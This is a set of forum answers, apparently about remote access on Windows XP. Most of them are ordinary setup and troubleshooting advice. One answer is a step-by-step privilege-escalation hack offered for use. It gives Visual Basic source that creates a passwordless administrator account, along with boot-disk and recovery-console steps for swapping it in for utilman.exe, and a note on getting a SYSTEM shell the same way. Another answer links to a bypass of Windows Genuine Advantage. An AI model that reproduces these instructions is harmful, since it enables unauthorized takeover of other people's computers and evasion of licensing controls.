Windows XP Remote Access?
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Well its like this before you start check if you are able to ping the remote computer from home and vice versa then check you have a user account enabled with password on both computers.Now follow the following steps in each computer.\n\n1.Right click on MY COMPUTER and click on properties to open  system properties.\nclick on the tab that says REMOTE in the system properties , now check the boxes Remote ASSISTANCE and Remote DESKTOP.\nclick on apply and ok.\n\n2.Now to connect click on start -  all programs -accessories - communication - under communication menu go to Remote desktop Connection.You will see a pop up window in the window enter the ip address of the computer you want to connect to and enter the other settings as required like username , password , domain etc some of which are optional.\n\nnow click on connect you should see your remote desktop.\n\n\nRegards,\nAmrith\nFormer Senior Escalation Engineer\n(Linksys , Microsoft)
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You can try Password Manager XP
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just check the below microsoft link which will help u in remote desktop applicatin\nwww.microsoft.com/windowsxp/using/mobility/getstarted/remoteintro.mspx
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I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this \n\nto work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive. \n\nOverview: \nWindows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is \n\nlocated at C:&#92;Windows&#92;system32&#92;utilman.exe for windows XP and C:&#92;WINNT&#92;System32&#92;utilman.exe for windows 2000. So all you have to do is make \n\nyour own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work. \n\nIf the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this \n\nwill take a few minutes depending on how fast the PC is. \n\nFirst We need to make the program \nI used Visual Basic 6, here is my source code that i used to create the administrative account: \n\n#################################START############################### \nPrivate Sub Form_Load() \nShell "net user NewAdmin " & """""" & " /add", vbHide \nPause (1) \nShell "net localgroup administrators NewAdmin /add", vbHide \nPause (1) \nmsgbox "Added Administrative User",16,"Hacked XP" \nEnd \nEnd Sub \n\nSub Pause(interval) \n'Pauses execution \nCurrent = Timer \nDo While Timer - Current < Val(interval) \nDoEvents \nLoop \nEnd Sub \n\n'#################################END############################### \n\nCompile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank \n\npassword and then adds them to the Administrators Group. \n\nOk Now that we've made the program lets move on... \n\nFAT32 \n1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe \n2. Add the newly made Utilman.exe to the Floppy \n3. Restart the computer with the floppy in it \n4. After DOS loads type C: and press enter. \n5. If it changes from A:/> to C:/> then your doing good \n6. use this command: Copy A:&#92;utilman.exe C:&#92;windows&#92;system32&#92;utilman.exe press Y to overwrite the exsisting file \n7. Restart the computer without the floppy in it \n8. When it gets to the Login Screen Press the Windows Key + U \n9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10 \n\n9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your \n\nPC. \n10. After pressing <b>Windows Key + U</b> then type in the username NewAdmin and push Enter. Thats It you now have administrative access to \n\nyour PC. \n\n\nNTFS \nUse a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)
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If you had windows XP and had set it up prior to leaving home yes you could have.\n\nSet up remote assistance when you get home and you wont have theis issue again ;)\n\nGL
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There is various software you can run on XP Home that will allow you to utilize the MCE Remote. Checkout out SageTv http://www.sagetv.com , BeyondTV http://www.snapstream.com , and MediaPortal http://mediaportal.sourceforge.net
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For remote desktop you need to have ports forwarded on your router and have xp pro installed on the computer you want to connect to.\n\nIf you use a program called Hamachi, and UltraVNC you can connect to them remotely and securely.\n\nHamachi will establish a vpn connection between the two computers, secure and safe.  One click setup is the best part, that and free.\n\nUltraVNC will allow you to gain remote control of the computer.  \n\nIn combination you will need no ports forwarded and it will be secure.
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XP Home doesn't have the Remote Desktop server capability.  XP Home can be a client (controlling an XP Pro machine), but it can't be a server (being controlled by another machine).  For that, you can use a program like VNC, free from http://www.realvnc.com . \n\nThese tips should help you get the computers to see each other: \n\n\n1. If the computers run the original or SP1 versions of Windows XP, disable XP's built-in Internet Connection Firewall on local area network connections -- it's for use only on a direct modem connection to the Internet.  If they run SP2, enable the exception for file and printer sharing in the Windows Firewall.  Disable and un-install all \nother firewall programs while troubleshooting.  When un-installing a firewall program, use the un-install procedure provided by the \nmanufacturer .  Don't use Control Panel | Add or Remove Programs, which might not completely un-install it. \n\n\nFor more information, see: \n\n\nWindows XP Internet Connection Firewall \nhttp://www.practicallynetworked.com/sharing/xp/ic_firewall.htm \n\n\n2. Use only one protocol for File and Printer Sharing.  If the network needs more than one protocol, unbind File and Printer Sharing from all but one of them.  Details here: \n\n\nWindows XP Network Protocols \nhttp://www.practicallynetworked.com/sharing/xp/network_protocols.htm \n\n\n3.  Make sure that NetBIOS over TCP/IP is enabled on all computers. Details here: \n\n\nEnable NetBIOS Over TCP/IP (NetBT) \nhttp://www.practicallynetworked.com/sharing/troubleshoot/netbt.htm \n\n\n4. Run "ipconfig /all" on XP and look at the "Node Type" at the beginning of the output.  If it says "Peer-to-Peer" (which should actually be "Point-to-Point") that's the problem.  It means that the computer only uses a WINS server, which isn't available on a peer-to-peer network, for NetBIOS name resolution. \n\n\nIf that's the case, run the registry editor, open this key: \n\n\n   HLM&#92;System&#92;CurrentControlSet&#92;Services&#92;Netbt&#92;Parameters \n\n\nand delete these values if they're present: \n\n\n   NodeType \n   DhcpNodeType \n\n\nReboot, then try network access again. \n\n\nIf that doesn't fix it, open that registry key again, create a DWORD value called "NodeType", and set it to 1 for "Broadcast" or 4 for "Mixed". \n\n\nFor details, see these Microsoft Knowledge Base articles: \n\n\nDefault Node Type for Microsoft Clients \nhttp://support.microsoft.com/default.aspx?scid=kb;en-us;160177 \n\n\nTCP/IP and NBT Configuration Parameters for Windows XP \nhttp://support.microsoft.com/default.aspx?scid=kb;en-us;314053
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Hi, I think that depends on whether you want the program to be free or just free trial. If you want a free remote access program, go for logmein. At the same time, can also try Real VNC or TightVNC, also free. But if you don't mind paying, can go for gotomypc...
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Easiest way is to use something called GOTOMYPC. If it's a one-off, use their trial.\n\nIt does give you complete access to the PC
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you need to enable file sharing.\n\nWindows XP lets you share a computer's disks and folders with other computers on the network, using a method called Simple File Sharing. And it really is simple. If a disk or folder is shared, everyone on the network can access it. There are no user permissions and no passwords. Because sharing in this way is so wide open, Windows XP tries to protect you from some potential security risks.\n\nCheck the link it will answer your queries
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Remote desktop will do it, as will PcAnywhere, GoToMyPC, and a number of others...  But be aware that you will require permission from your employer to do so.\n\nFrankly, it's better to get your network or IT administrator to set it up for you, unless you're very sure what you are doing, because this can be a huge security risk.  If they do it, it will be in compliance with the company's security policies - and you won't get blamed if something goes wrong :-)
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I will suggest you with logmein.com. You can remotly access you computer from ANYWHERE in the worl which has a internet connection, provided your comp is on and connected to the internet(high-speed). \n\nFollow the directions below:\n#1 You have to make a account with logmein, so go ahead and make one at http://www.logmein.com\n\n#2 Download the software that you need to install to thecomp. you want to remotly control. Click here http://www.download.com/LogMeIn-Free/3000-7240_4-10434405.html \n\n#3 If you do not use Win Xp It MAY mess up you video drive, and if you use Win. XP you moniter will flick for a 2 sec or more. \n\n#4 When u want to remotly control your PC, you will need to install their Plug-in. \n\n#5 it is very safe, 256 bit encryption.\n\n100% FREE
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ueses net user command in win 2000 and xp
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Jan answered this one pretty well the previous time you asked this question. It's not easy, it never will be.\n\nIf your home PC runs XP Pro the software is built in, if it's running XP Home or earlier it's not.\n\nRead her answer follow the information you find. Remote Desktop Connection and VNC are the best options whether it's one time use or over and over.\n\nHave fun.
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Yes:\nhttp://www.funponsel.com/blog/archives/2005/08/06/how-to-bypass-windows-genuine-advantage-check-on-windows-xp/
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You can use the NetRebooter from System7Software.\n\nAs long as you have admin rights on the computer this tool will let you shudown log off or reboot a computer remotely.